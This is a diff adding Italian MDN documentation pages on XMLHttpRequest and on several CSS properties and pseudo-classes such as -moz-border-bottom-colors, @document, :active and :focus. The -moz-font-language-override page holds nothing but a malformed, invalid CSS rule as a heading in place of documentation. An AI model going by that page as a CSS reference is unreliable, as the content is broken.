+    isFinite(nLastVisit) &amp;&amp; this.callback(nLastModif, nLastVisit);
+  }
+
+}
+
+function ifHasChanged(sURL, fCallback) {
+  var oReq = new XMLHttpRequest();
+  oReq.open("HEAD" /* use HEAD - we only need the headers! */, sURL, true);
+  oReq.callback = fCallback;
+  oReq.filepath = sURL;
+  oReq.onload = getHeaderTime;
+  oReq.send();
+}</pre>
+
+<p>Test:</p>
+
+<pre class="brush: js">/* Let's test the file "yourpage.html"... */
+
+ifHasChanged("yourpage.html", function (nModif, nVisit) {
+  alert("The page '" + this.filepath + "' has been changed on " + (new Date(nModif)).toLocaleString() + "!");
+});</pre>
+
+<p>If you want to know <strong>whether <em>the current page</em> has changed</strong>, please read the article about <a href="/en-US/docs/Web/API/document.lastModified" title="/en-US/docs/Web/API/document.lastModified"><code>document.lastModified</code></a>.</p>
+
+<h2 id="Cross-site_XMLHttpRequest">Cross-site XMLHttpRequest</h2>
+
+<p>Modern browsers support cross-site requests by implementing the web applications working group's <a href="/en-US/docs/HTTP_access_control" title="HTTP access control">Access Control for Cross-Site Requests</a> standard.  As long as the server is configured to allow requests from your web application's origin, <code>XMLHttpRequest</code> will work.  Otherwise, an <code>INVALID_ACCESS_ERR</code> exception is thrown.</p>
+
+<h2 id="Bypassing_the_cache">Bypassing the cache</h2>
+
+<p><span style="line-height: 1.572;">A, cross-browser compatible approach to bypassing the cache is to append a timestamp to the URL, being sure to include a "?" or "&amp;" as appropriate.  For example:</span></p>
+
+<pre>http://foo.com/bar.html -&gt; http://foo.com/bar.html?12345
+http://foo.com/bar.html?foobar=baz -&gt; http://foo.com/bar.html?foobar=baz&amp;12345
+</pre>
+
+<p>Since the local cache is indexed by URL, this causes every request to be unique, thereby bypassing the cache.</p>
+
+<p>You can automatically adjust URLs using the following code:</p>
+
+<pre class="brush:js">var oReq = new XMLHttpRequest();
+
+oReq.open("GET", url + ((/\?/).test(url) ? "&amp;" : "?") + (new Date()).getTime(), true);
+oReq.send(null);</pre>
+
+<h2 id="Security">Security</h2>
+
+<p>{{fx_minversion_note(3, "Versions of Firefox prior to Firefox 3 allowed you to set the preference <code>capability.policy.&lt;policyname&gt;.XMLHttpRequest.open&lt;/policyname&gt;</code> to <code>allAccess</code> to give specific sites cross-site access.  This is no longer supported.")}}</p>
+
+<p>{{fx_minversion_note(5, "Versions of Firefox prior to Firefox 5 could use <code>netscape.security.PrivilegeManager.enablePrivilege(\"UniversalBrowserRead\");</code> to request cross-site access. This is no longer supported, even though it produces no warning and permission dialog is still presented.")}}</p>
+
+<p>The recommended way to enable cross-site scripting is to use the <code>Access-Control-Allow-Origin </code> HTTP header in the response to the XMLHttpRequest.</p>
+
+<h3 id="XMLHttpRequests_being_stopped">XMLHttpRequests being stopped</h3>
+
+<p>If you end up with an XMLHttpRequest having <code>status=0</code> and <code>statusText=null</code>, it means that the request was not allowed to be performed. It was <code><a href="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent" title="http://www.w3.org/TR/XMLHttpRequest/#dom-xmlhttprequest-unsent">UNSENT</a></code>. A likely cause for this is when the <a href="http://www.w3.org/TR/XMLHttpRequest/#xmlhttprequest-origin" style="outline: 1px dotted; outline-offset: 0pt;"><code>XMLHttpRequest</code> origin</a> (at the creation of the XMLHttpRequest) has changed when the XMLHttpRequest is then <code>open()</code>. This case can happen for example when one has an XMLHttpRequest that gets fired on an onunload event for a window: the XMLHttpRequest gets in fact created when the window to be closed is still there, and then the request is sent (ie <code>open()</code>) when this window has lost its focus and potentially different window has gained focus. The way to avoid this problem is to set a listener on the new window "activate" event that gets set when the old window has its "unload" event fired.</p>
+
+<h2 id="Using_XMLHttpRequest_from_JavaScript_modules_XPCOM_components">Using XMLHttpRequest from JavaScript modules / XPCOM components</h2>
+
+<p>Instantiating <code>XMLHttpRequest</code> from a <a href="/en-US/docs/JavaScript_code_modules/Using" title="https://developer.mozilla.org/en/JavaScript_code_modules/Using_JavaScript_code_modules">JavaScript module</a> or an XPCOM component works a little differently; it can't be instantiated using the <code>XMLHttpRequest()</code> constructor. The constructor is not defined inside components and the code results in an error. The best way to work around this is to use the XPCOM component constructor.</p>
+
+<pre class="brush: js">const XMLHttpRequest = Components.Constructor("@mozilla.org/xmlextras/xmlhttprequest;1", "nsIXMLHttpRequest");
+</pre>
+
+<p>Unfortunately in versions of Gecko prior to Gecko 16 there is a bug which can cause requests created this way to be cancelled for no reason.  If you need your code to work on Gecko 15 or earlier, you can get the XMLHttpRequest constructor from the hidden DOM window like so.</p>
+
+<pre class="brush:js">const { XMLHttpRequest } = Components.classes["@mozilla.org/appshell/appShellService;1"]
+                                     .getService(Components.interfaces.nsIAppShellService)
+                                     .hiddenDOMWindow;
+var oReq = new XMLHttpRequest();</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ol>
+ <li><a href="/en-US/docs/AJAX/Getting_Started" title="AJAX/Getting_Started">MDN AJAX introduction</a></li>
+ <li><a href="/en-US/docs/HTTP_access_control" title="HTTP access control">HTTP access control</a></li>
+ <li><a href="/en-US/docs/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL" title="How to check the security state of an XMLHTTPRequest over SSL">How to check the security state of an XMLHTTPRequest over SSL</a></li>
+ <li><a href="http://www.peej.co.uk/articles/rich-user-experience.html">XMLHttpRequest - REST and the Rich User Experience</a></li>
+ <li><a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/xmlsdk/html/xmobjxmlhttprequest.asp">Microsoft documentation</a></li>
+ <li><a href="http://developer.apple.com/internet/webcontent/xmlhttpreq.html">Apple developers' reference</a></li>
+ <li><a href="http://jibbering.com/2002/4/httprequest.html">"Using the XMLHttpRequest Object" (jibbering.com)</a></li>
+ <li><a href="http://www.w3.org/TR/XMLHttpRequest/">The XMLHttpRequest Object: W3C Specification</a></li>
+ <li><a href="http://dev.w3.org/2006/webapi/progress/Progress.html" title="http://dev.w3.org/2006/webapi/progress/Progress.html">Web Progress Events specification</a></li>
+ <li></li>
+</ol>
diff --git a/files/it/web/api/xmlhttprequest/xmlhttprequest/index.html b/files/it/web/api/xmlhttprequest/xmlhttprequest/index.html
new file mode 100644
index 0000000000..bb54418a41
--- /dev/null
+++ b/files/it/web/api/xmlhttprequest/xmlhttprequest/index.html
@@ -0,0 +1,50 @@
+---
+title: XMLHttpRequest()
+slug: Web/API/XMLHttpRequest/XMLHttpRequest
+translation_of: Web/API/XMLHttpRequest/XMLHttpRequest
+---
+<div>{{draft}}{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">Il costruttore <code><strong>XMLHttpRequest()</strong></code> crea una nuova {{domxref("XMLHttpRequest")}}.</span></p>
+
+<p>Per ulteriori dettagli sull'utilizzo di <code>XMLHttpRequest</code>, si veda <a class="internal" href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Come usare XMLHttpRequest</a>.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">const<em>richiesta</em> = new XMLHttpRequest();
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<p>Nessuno.</p>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un nuovo oggetto {{domxref("XMLHttpRequest")}}. Prima di chiamare {{domxref("XMLHttpRequest.send", "send()")}}, che invia la richiesta al server, l'oggetto va predisposto inizializzandolo, chiamando almeno {{domxref("XMLHttpRequest.open", "open()")}}.</p>
+
+<h2 id="Sintassi_non-standard_di_Firefox">Sintassi non-standard di Firefox</h2>
+
+<p>Firefox 16 ha aggiunto al costruttore un parametro non-standard che permette di abilitare la modalità anonima (si veda {{Bug("692677")}}). Assegnare il valore <code>true</code> alla flag <code>mozAnon</code> equivale all'atto pratico al costruttore <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#dom-anonxmlhttprequest" title="see AnonXMLHttpRequest in the XMLHttpRequest specification"><code>AnonXMLHttpRequest()</code></a> descritto nelle versioni precedenti delle specifiche di XMLHttpRequest.</p>
+
+<pre class="syntaxbox">const<em>richiesta</em> = new XMLHttpRequest(<em><var>dizParametri</var></em>);</pre>
+
+<h3 id="Parametri_non-standard">Parametri (non-standard)</h3>
+
+<dl>
+ <dt><code>objParameters</code> {{gecko_minversion_inline("16.0")}}</dt>
+ <dd>Sono disponibili due flag:
+ <dl>
+  <dt><code>mozAnon</code></dt>
+  <dd>Booleano: assegnando <code>true</code> a questa flag il browser non esporrà né l'{{Glossary("origine")}} né le <a href="http://www.w3.org/TR/2012/WD-XMLHttpRequest-20120117/#user-credentials" title="Defintion of “User credentials” in the XMLHttpRequest specification.">credenziali dell'utente</a> durante il recupero delle risorse. Ciò significa soprattutto che non verrà inviato alcun {{Glossary("Cookie", "cookie")}} a meno di non aggiungerlo esplicitamente attraverso setRequestHeader.</dd>
+  <dt><code>mozSystem</code></dt>
+  <dd>Booleano: assegnando <code>true</code> a questa flag vengono permesse connessioni inter-sito senza il consenso del server di destinazione dato attraverso {{Glossary("CORS")}}. <em>Richiede anche <code>mozAnon: true</code>, ovvero non si possono inviare cookie od altre credenziali dell'utente usando questo metodo. Questa flag funziona solo in app con privilegi, cioé sottoposte a riesame ({{Bug("692677")}}); non funziona su qualsivoglia pagine caricate da Firefox.</em></dd>
+ </dl>
+ </dd>
+</dl>
+
+<h2 id="Voci_correlate">Voci correlate</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Come usare XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+</ul>
diff --git a/files/it/web/css/-moz-border-bottom-colors/index.html b/files/it/web/css/-moz-border-bottom-colors/index.html
new file mode 100644
index 0000000000..ea9b59f24a
--- /dev/null
+++ b/files/it/web/css/-moz-border-bottom-colors/index.html
@@ -0,0 +1,89 @@
+---
+title: '-moz-border-bottom-colors'
+slug: Web/CSS/-moz-border-bottom-colors
+translation_of: Archive/Web/CSS/-moz-border-bottom-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p> </p>
+
+<p>Nelle applicazioni di Mozilla come Firefox, la  proprietà di CSS -moz-border-bottom-colors imposta una lista di colori per il bordo inferiore.</p>
+
+<pre class="brush:css no-line-numbers">/* Single &lt;color&gt; value */
+-moz-border-bottom-colors: #f0f0f0;
+
+/* Multiple &lt;color&gt; values */
+-moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Global values */
+-moz-border-bottom-colors: inherit;
+-moz-border-bottom-colors: initial;
+-moz-border-bottom-colors: unset;
+</pre>
+
+<p>Quando un elemento ha un margine che è più grande di un singolo pixel CSS, tutta la linea dei pixel assume il colore accanto specificato in questa proprietà, dall'esterno verso l'interno.Questo elimina il bisogno di box annidati.Se il margine è più largo del numero dei colori specificati, la rimanente parte del margine è del colore specificato più interno. </p>
+
+<p>{{cssinfo}}</p>
+
+<p>It does not apply</p>
+
+<ol>
+ <li>if {{Cssxref("border-style")}} is <code>dashed</code> or <code>dotted</code>.</li>
+ <li>to tables with <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<h3 id="Valori">Valori</h3>
+
+<p>Accetta una lista di colori separati dallo spazio.</p>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>
+ <p class="syntaxbox">Specifica il colore di una linea di pixel del margine inferiore. Il trasparente è valido.Vedi i valori {{cssxref("&lt;color&gt;")}} per le unità possibili.</p>
+ </dd>
+ <dt>none</dt>
+ <dd>Di default, nessun colore è applicato o è usato {{cssxref("border-color")}}, se specificato.</dd>
+</dl>
+
+<h3 id="Sintassi_2">Sintassi</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<pre class="brush:html">&lt;div id="example"&gt;Example&lt;/div&gt;
+</pre>
+
+<pre class="brush:css">#example {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 90)}}</p>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<p>QUesta proprietà non è parte di nessun specificazione.</p>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+
+
+<p>{{Compat("css.properties.-moz-border-bottom-colors")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/it/web/css/-moz-font-language-override/index.html b/files/it/web/css/-moz-font-language-override/index.html
new file mode 100644
index 0000000000..981b6e4d3b
--- /dev/null
+++ b/files/it/web/css/-moz-font-language-override/index.html
@@ -0,0 +1,6 @@
+---
+title: '-moz-font-language-override'
+slug: Web/CSS/-moz-font-language-override
+translation_of: Web/CSS/font-language-override
+---
+<h2 id="*_html_body_div_p_font-Zawgyi-One_!_important">*  , html,  body, div, p  { font-Zawgyi-One  !  important; }</h2>
diff --git a/files/it/web/css/-webkit-overflow-scrolling/index.html b/files/it/web/css/-webkit-overflow-scrolling/index.html
new file mode 100644
index 0000000000..0c74ee6850
--- /dev/null
+++ b/files/it/web/css/-webkit-overflow-scrolling/index.html
@@ -0,0 +1,52 @@
+---
+title: '-webkit-overflow-scrolling'
+slug: Web/CSS/-webkit-overflow-scrolling
+tags:
+  - Safari
+  - WebKit
+translation_of: Web/CSS/-webkit-overflow-scrolling
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La proprietà <a href="/en-US/docs/Web/CSS">CSS</a> <code>-webkit-overflow-scrolling</code> controlla se i dispositivi touch debbano usare o meno il momentum scrolling su di un dato elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Parametri">Parametri</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Usa lo scroll "regolare", dove il contenuto cessa immediatamente di scorrere nel momento in cui il dito viene sollevato dal touchscreen.</dd>
+ <dt><code>touch</code></dt>
+ <dd>Usa il momentum scrolling, dove il contenuto continua a scorrere per un pò dopo che la gesture di scroll è completata ed il dito è sollevato dal touchscreen.<br>
+ La velocità e la durata dello scorrimento è direttamente proporzionale a quanto la gesture di scroll è vigorosa.<br>
+ Inoltre viene creato un nuovo stacking context.</dd>
+</dl>
+
+<h3 id="Sintassi_formale">Sintassi formale</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: css">-webkit-overflow-scrolling: touch; /* Lo scorrimento continua per un pò */
+
+-webkit-overflow-scrolling: auto; /* Lo scorrimento si blocca immediatamente */
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<p>Non è parte di nessuna specifica.<br>
+ Apple ne ha <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/css/property/-webkit-overflow-scrolling">una descrizione nella reference CSS di Safari.</a></p>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+
+
+<p>{{Compat("css.properties.-webkit-overflow-scrolling")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/momentum-scrolling-on-ios-overflow-elements/">CSS-Tricks article with demo</a></li>
+</ul>
diff --git a/files/it/web/css/@document/index.html b/files/it/web/css/@document/index.html
new file mode 100644
index 0000000000..deea20d4cc
--- /dev/null
+++ b/files/it/web/css/@document/index.html
@@ -0,0 +1,47 @@
+---
+title: '@document'
+slug: Web/CSS/@document
+tags:
+  - CSS
+  - CSS At-rule
+  - Reference
+translation_of: Web/CSS/@document
+---
+<p>{{ CSSRef() }} {{ SeeCompatTable() }}</p>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>La regola <code>@-moz-document</code> è una at-rule che restringe il campo di funzionamento, delle regole al suo interno, a degli specifici URL. Il suo utilizzo risulta importante quando si vuole creare un solo file CSS per molte pagine web o si vuole modificare il CSS di base del FireFox.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre>@document url|url-prefix|domain(URL){ regole }</pre>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<p>Puoi usarlo nel file <a class="external" href="http://www.mozilla.org/support/firefox/edit#content">userContent.css</a>:</p>
+
+<pre>@document url(http://www.w3.org/),
+               url-prefix(http://www.w3.org/Style/),
+               domain(mozilla.org)
+{
+  /* le regole CSS quì dentro verranno applicate a:
+     + La pagina "http://www.w3.org/".
+     + Tutte le pagine che cominciano per "http://www.w3.org/Style/"
+     + Tutte le pagine con dominio uguale a "mozilla.org" o che finisce con
+       ".mozilla.org"
+   */
+
+  /* esempio di codice che si applicherebbe a tali pagine */
+  body { color: purple; background: yellow; }
+}</pre>
+
+<h2 id="Specifiche" name="Specifiche">Specifiche</h2>
+
+<ul>
+ <li><a class="external" href="http://lists.w3.org/Archives/Public/www-style/2004Aug/0135">Sviluppo del codice</a>.</li>
+</ul>
+
+<h2 id="Compatibilit.C3.A0_Browser" name="Compatibilit.C3.A0_Browser">Compatibilità Browser</h2>
+
+<p>Disponibile da Mozilla 1.8 / <a href="it/Firefox_1.5">Firefox 1.5</a>.</p>
diff --git a/files/it/web/css/_colon_-moz-first-node/index.html b/files/it/web/css/_colon_-moz-first-node/index.html
new file mode 100644
index 0000000000..9336079308
--- /dev/null
+++ b/files/it/web/css/_colon_-moz-first-node/index.html
@@ -0,0 +1,46 @@
+---
+title: ':-moz-first-node'
+slug: 'Web/CSS/:-moz-first-node'
+tags:
+  - CSS
+  - CSS Reference
+  - Non-standard
+translation_of: 'Web/CSS/:-moz-first-node'
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>La pseudo-classe <code>:-moz-first-node</code> applica le sue proprietà a tutti gli elementi che risultano essere "nodi primogeniti" di altri elementi. Differisce dal <code>:first-child</code> in quanto non valuta come primogeniti gli elementi che presentano del testo davanti a loro (non spazi vuoti).</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">elemento:-moz-first-node {<em>proprietà di stile</em> }
+</pre>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<pre>span:-moz-first-node{
+    background-color: lime;
+}
+</pre>
+
+<p>...applicato a...</p>
+
+<pre>&lt;div&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  lettere&lt;span&gt;Testo dello Span&lt;/span&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+&lt;/div&gt;
+</pre>
+
+<p>...risultato con <code>:-moz-first-node</code>...</p>
+
+<p><img alt="Immagine:fchild1.jpg"></p>
+
+<p>...e con il <code>:first-child</code>...</p>
+
+<p><img alt="Immagine:fchild2.jpg"></p>
diff --git a/files/it/web/css/_colon_-moz-last-node/index.html b/files/it/web/css/_colon_-moz-last-node/index.html
new file mode 100644
index 0000000000..d064110bcc
--- /dev/null
+++ b/files/it/web/css/_colon_-moz-last-node/index.html
@@ -0,0 +1,46 @@
+---
+title: ':-moz-last-node'
+slug: 'Web/CSS/:-moz-last-node'
+tags:
+  - CSS
+  - CSS Reference
+  - Non-standard
+translation_of: 'Web/CSS/:-moz-last-node'
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>La pseudo-classe <code>:-moz-last-node</code> applica le sue proprietà a tutti gli elementi che risultano essere "ultimi nodi" di altri elementi. Differisce dal <code>:last-child</code> in quanto non valuta come ultimi gli elementi che presentano del testo dopo di loro (non spazi vuoti).</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">elemento:-moz-last-node {<em>proprietà di stile</em> }
+</pre>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<pre>span:-moz-last-node{
+    background-color: lime;
+}
+</pre>
+
+<p>...applicato a...</p>
+
+<pre>&lt;div&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+&lt;/div&gt;
+&lt;div&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;
+  &lt;span&gt;Testo dello Span&lt;/span&gt;lettere
+&lt;/div&gt;
+</pre>
+
+<p>...risultato con <code>:-moz-last-node</code>...</p>
+
+<p><img alt="Immagine:lchild1.jpg"></p>
+
+<p>...e con il <code>:last-child</code>...</p>
+
+<p><img alt="Immagine:lchild2.jpg"></p>
diff --git a/files/it/web/css/_colon_-moz-list-bullet/index.html b/files/it/web/css/_colon_-moz-list-bullet/index.html
new file mode 100644
index 0000000000..cc383ff3ef
--- /dev/null
+++ b/files/it/web/css/_colon_-moz-list-bullet/index.html
@@ -0,0 +1,42 @@
+---
+title: ':-moz-list-bullet'
+slug: 'Web/CSS/:-moz-list-bullet'
+tags:
+  - CSS
+  - CSS Reference
+  - Non-standard
+translation_of: 'Web/CSS/:-moz-list-bullet'
+---
+<p>{{Non-standard_header}}{{CSSRef}}</p>
+
+<h2 id="Sommario" name="Sommario">Sommario</h2>
+
+<p>La pseudo-classe <code>:-moz-list-bullet</code> è usata per modificare il pallino degli elementi lista.</p>
+
+<h2 id="Sintassi" name="Sintassi">Sintassi</h2>
+
+<pre class="eval">li::-moz-list-bullet {<em>proprietà di stile</em> }
+</pre>
+
+<h2 id="Esempi" name="Esempi">Esempi</h2>
+
+<pre>.liste li::-moz-list-bullet{ font-size:36px }
+</pre>
+
+<p>...applicato a...</p>
+
+<pre>&lt;ul&gt;
+&lt;li&gt;Number 1&lt;/li&gt;
+&lt;li&gt;Number 2&lt;/li&gt;
+&lt;li&gt;Number 3&lt;/li&gt;
+&lt;/ul&gt;
+&lt;ul class="liste"&gt;
+&lt;li&gt;Number 1&lt;/li&gt;
+&lt;li&gt;Number 2&lt;/li&gt;
+&lt;li&gt;Number 3&lt;/li&gt;
+&lt;/ul&gt;
+</pre>
+
+<p>...risultato..</p>
+
+<p>. <img alt="Image:liug3.jpg" src="/@api/deki/files/745/=Liug3.jpg"></p>
diff --git a/files/it/web/css/_colon_active/index.html b/files/it/web/css/_colon_active/index.html
new file mode 100644
index 0000000000..450e457c4a
--- /dev/null
+++ b/files/it/web/css/_colon_active/index.html
@@ -0,0 +1,128 @@
+---
+title: ':active'
+slug: 'Web/CSS/:active'
+tags:
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Web
+translation_of: 'Web/CSS/:active'
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary">La <a href="/en-US/docs/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classe</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>:active</code></strong> rappresenta un elemento (come un bottone) che viene attivato dall'utente.</span> Quando si usa un mouse, l'«attivazione» inizia solitamente quando l'utente pressa il pulsante primario del mouse.</p>
+
+<pre class="brush: css no-line-numbers">/* Seleziona qualsiasi &lt;a&gt; che viene attivato */
+a:active {
+  color: red;
+}</pre>
+
+<p>La pseudo-class <code>:active</code> è comunemente usata su elementi {{HTMLElement("a")}} e {{HTMLElement("button")}}. Altri obiettivi ordinari di questa pseudo-class sono gli elementi che <em>contengono</em> un elemento attivato, e gli elementi di form che vengono attivati attraverso le proprie {{HTMLElement("label")}} associate.</p>
+
+<p>Gli stili definiti dalla pseudo-class <code>:active</code> saranno sovrascritti da qualsiasi pseudo-class successiva relativa a link ({{cssxref(":link")}}, {{cssxref(":hover")}}, o {{cssxref(":visited")}}) con almeno la stessa specificità. Per dare stile ai link in maniera appropriata, aggiungete la regola <code>:active</code> dopo tutte le altre regole relative ai link, così come definito dall'ordine <em>LVHA</em>: <code>:link</code> — <code>:visited</code> — <code>:hover</code> — <code>:active</code>.</p>
+
+<div class="note"><strong>Nota:</strong> Nei sistemi con mouse a più pulsanti, il CSS3 specifica che la pseudo-class <code>:active</code> deve essere applicata solo al pulsante primario; in un mouse per destrimani è generalmente il pulsante sinistro.</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Link_attivi">Link attivi</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;Questo paragrafo contiene un link:
+  &lt;a href="#"&gt;Questo link diventerà rosso quando viene cliccato.&lt;/a&gt;
+  Il paragrafo avrà uno sfondo grigio mentre se se si clicca su di esso o sul link.
+&lt;/p&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">a:link { color: blue; }          /* links non visitati  */
+a:visited { color: purple; }     /* links visitati  */
+a:hover { background: yellow; }  /* links su cui si passa sopra  */
+a:active { color: red; }         /* links attivi  */
+
+p:active { background: #eee; }   /* paragrafi attivi */</pre>
+
+<h4 id="Risultato">Risultato</h4>
+
+<p>{{EmbedLiveSample('Active_links')}}</p>
+
+<h3 id="Elementi_form_attivi">Elementi form attivi</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="my-button"&gt;Mio bottone: &lt;/label&gt;
+  &lt;button id="my-button" type="button"&gt; Prova a cliccare su di me o sulla mia label!&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">form:active {
+  color: red;
+}
+
+form button {
+  background: white;
+}</pre>
+
+<h4 id="Risultato_2">Risultato</h4>
+
+<p>{{EmbedLiveSample('Active_form_elements')}}</p>
+
+<h2 id="Specifiche"><span>Specifiche</span></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}</td>
+   <td>{{Spec2('CSS4 Selectors')}}</td>
+   <td>Nessun Cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}</td>
+   <td>{{Spec2('CSS3 Selectors')}}</td>
+   <td>Nessun Cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Nessun Cambiamento.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+<div>
+<div class="hidden">La tabella di compatibilità di questa pagina è generata da dati strutturati. Se vorresti contribuire ai dati, per piacere visita <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e proponici una pull request.</div>
+
+<p>{{Compat("css.selectors.active")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>Link-related pseudo-classes: {{cssxref(":link")}}, {{cssxref(":visited")}}, and {{cssxref(":hover")}}</li>
+</ul>
diff --git a/files/it/web/css/_colon_focus/index.html b/files/it/web/css/_colon_focus/index.html
new file mode 100644
index 0000000000..3540c46539
--- /dev/null
+++ b/files/it/web/css/_colon_focus/index.html
@@ -0,0 +1,117 @@
+---
+title: ':focus'
+slug: 'Web/CSS/:focus'
+tags:
+  - ':focus'
+  - CSS
+  - Layout
+  - Pseudo-class
+  - Reference
+  - Riferimento
+  - Web
+translation_of: 'Web/CSS/:focus'
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/it/docs/Web/CSS/Pseudo-classes" title="Pseudo-classes">pseudo-classe</a> <a href="/it/docs/Web/CSS">CSS</a> <strong><code>:focus</code></strong> rappresenta un elemento (come l'input di un form) che ha ricevuto focus. Viene attivato di solito quando l'utente fa clic o tap su un elemento o lo seleziona con il tasto "tab" della tastiera.</p>
+
+<pre class="brush: css no-line-numbers">/* Seleziona qualsiasi &lt;input&gt; che ha ricevuto focus */
+input:focus {
+  color: red;
+}</pre>
+
+<div class="blockIndicator note">
+<p><strong>Nota:</strong> Questa pseudo-classe is applica solo all'elemento stesso che ha ricevuto il focus. Utilizzare {{CSSxRef(":focus-within")}} se si vuole selezionare un elemento <em>che contiene</em> un elemento che ha ricevuto il focus.</p>
+</div>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">{{CSSSyntax}}</pre>
+
+<h2 id="Esempio">Esempio</h2>
+
+<h3 id="HTML">HTML</h3>
+
